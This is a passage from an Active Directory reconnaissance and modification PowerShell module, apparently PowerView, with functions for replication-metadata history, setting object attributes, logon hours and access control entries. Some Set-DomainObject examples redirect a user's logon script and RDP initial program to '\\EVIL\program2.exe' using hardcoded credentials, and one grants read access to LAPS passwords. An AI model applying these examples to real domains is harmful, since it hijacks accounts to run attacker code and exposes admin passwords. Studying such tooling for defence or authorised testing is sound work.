+.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Only return replication metadata on the specified property names. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectAttributeHistory -Domain testlab.local + +Return all attribute replication metadata for all objects in the testlab.local domain. + +.EXAMPLE + +'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft + +ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat + e ingChange ingDsaDN +-------- ---------- ------------ ------------ ------- ------------ +CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S... +CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S... +CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S... + +.EXAMPLE + +Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl + +ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local +ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb +AttributeName : userAccountControl +LastOriginatingChange : 2017-03-07T19:56:27Z +Version : 4 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.ADObjectAttributeHistory + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObjectAttributeHistory')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replattributemetadata','distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Properties']) { + $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' + } + else { + $PropertyFilter = '' + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if ($TempObject.pszAttributeName -Match $PropertyFilter) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN + $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory') + $Output + } + } + else { + Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Get-DomainObjectLinkedAttributeHistory { +<# +.SYNOPSIS + +Returns the Active Directory links attribute value replication metadata for the +specified object, i.e. a parsed version of the msds-replvaluemetadata attribute. +By default, replication data for every domain object is returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'. +This is the domain linked attribute value replication metadata associated with the object. The +results are parsed from their XML string form and returned as a custom object. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Only return replication metadata on the specified property names. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a + +Count Name +----- ---- + 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local + 4 CN=Users,CN=Builtin,DC=testlab,DC=local + 2 CN=Guests,CN=Builtin,DC=testlab,DC=local + 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local + 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local + 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local + 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local + 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local + 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local + 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local + 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local + 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,... + 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con... + 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local + 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local + + +.EXAMPLE + +'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory + +ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387 +AttributeName : member +AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-03-06T00:48:29Z +TimeCreated : 2017-03-06T00:48:29Z +LastOriginatingChange : 2017-03-06T00:48:29Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 +AttributeName : member +AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-06-13T22:20:02Z +TimeCreated : 2017-06-13T22:20:02Z +LastOriginatingChange : 2017-06-13T22:20:22Z +Version : 2 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 +AttributeName : member +AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-03-06T00:48:29Z +TimeCreated : 2017-03-06T00:48:29Z +LastOriginatingChange : 2017-03-06T00:48:29Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.EXAMPLE + +Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local + +ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local +ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2 +AttributeName : member +AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local +TimeDeleted : 2017-04-10T22:17:19Z +TimeCreated : 2017-04-10T22:17:19Z +LastOriginatingChange : 2017-04-10T22:17:19Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.ADObjectLinkedAttributeHistory + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObjectLinkedAttributeHistory')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replvaluemetadata','distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Properties']) { + $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' + } + else { + $PropertyFilter = '' + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if ($TempObject.pszAttributeName -Match $PropertyFilter) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN + $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName + $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn + $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated + $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory') + $Output + } + } + else { + Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Set-DomainObject { +<# +.SYNOPSIS + +Modifies a gven property for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Set + +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. + +.PARAMETER XOR + +Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. + +.PARAMETER Clear + +Specifies an array of object properties that will be cleared in the directory. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose + +Cleares the 'department' field for both object identities. + +.EXAMPLE + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 + + +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\primary\sysvol\blah.ps1 + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\EVIL\program2.exe +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('Replace')] + [Hashtable] + $Set, + + [ValidateNotNullOrEmpty()] + [Hashtable] + $XOR, + + [ValidateNotNullOrEmpty()] + [String[]] + $Clear, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{'Raw' = $True} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + + $Entry = $RawObject.GetDirectoryEntry() + + if($PSBoundParameters['Set']) { + try { + $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { + Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" + $Entry.put($_.Name, $_.Value) + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['XOR']) { + try { + $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { + $PropertyName = $_.Name + $PropertyXorValue = $_.Value + Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" + $TypeName = $Entry.$PropertyName[0].GetType().name + + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['Clear']) { + try { + $PSBoundParameters['Clear'] | ForEach-Object { + $PropertyName = $_ + Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" + $Entry.$PropertyName.clear() + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + } + } +} + + +function ConvertFrom-LDAPLogonHours { +<# +.SYNOPSIS + +Converts the LDAP LogonHours array to a processible object. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts the LDAP LogonHours array to a processible object. Each entry +property in the output object corresponds to a day of the week and hour during +the day (in UTC) indicating whether or not the user can logon at the specified +hour. + +.PARAMETER LogonHoursArray + +21-byte LDAP hours array. + +.EXAMPLE + +$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours +ConvertFrom-LDAPLogonHours $hours + +Gets the logonhours array from the first AD user with logon restrictions. + +.OUTPUTS + +PowerView.LogonHours +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonHours')] + [CmdletBinding()] + Param ( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [byte[]] + $LogonHoursArray + ) + + Begin { + if($LogonHoursArray.Count -ne 21) { + throw "LogonHoursArray is the incorrect length" + } + + function ConvertTo-LogonHoursArray { + Param ( + [int[]] + $HoursArr + ) + + $LogonHours = New-Object bool[] 24 + for($i=0; $i -lt 3; $i++) { + $Byte = $HoursArr[$i] + $Offset = $i * 8 + $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') + + $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) + $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) + $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) + $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) + $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) + $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) + $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) + $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) + } + + $LogonHours + } + } + + Process { + $Output = @{ + Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] + Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] + Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] + Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] + Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] + Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] + Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] + } + + $Output = New-Object PSObject -Property $Output + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') + $Output + } +} + + +function New-ADObjectAccessControlEntry { +<# +.SYNOPSIS + +Creates a new Active Directory object-specific access control entry. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Creates a new object-specific access control entry (ACE). The ACE could be +used for auditing access to an object or controlling access to objects. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER PrincipalSearchBase + +The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Right + +Specifies the rights set on the Active Directory object. + +.PARAMETER AccessControlType + +Specifies the type of ACE (allow or deny) + +.PARAMETER AuditFlag + +For audit ACEs, specifies when to create an audit log (on success or failure) + +.PARAMETER ObjectType + +Specifies the GUID of the object that the ACE applies to. + +.PARAMETER InheritanceType + +Specifies how the ACE applies to the object and/or its children. + +.PARAMETER InheritedObjectType + +Specifies the type of object that can inherit the ACE. + +.EXAMPLE + +$Guids = Get-DomainGUIDMap +$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name +$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name +$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid +$OU = Get-DomainOU -Raw Workstations +$DsEntry = $OU.GetDirectoryEntry() +$dsEntry.PsBase.Options.SecurityMasks = 'Dacl' +$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) +$dsEntry.PsBase.CommitChanges() + +Adds an ACE to all computer objects in the OU "Workstations" permitting the +user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. + +.OUTPUTS + +System.Security.AccessControl.AuthorizationRule +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Security.AccessControl.AuthorizationRule')] + [CmdletBinding()] + Param ( + 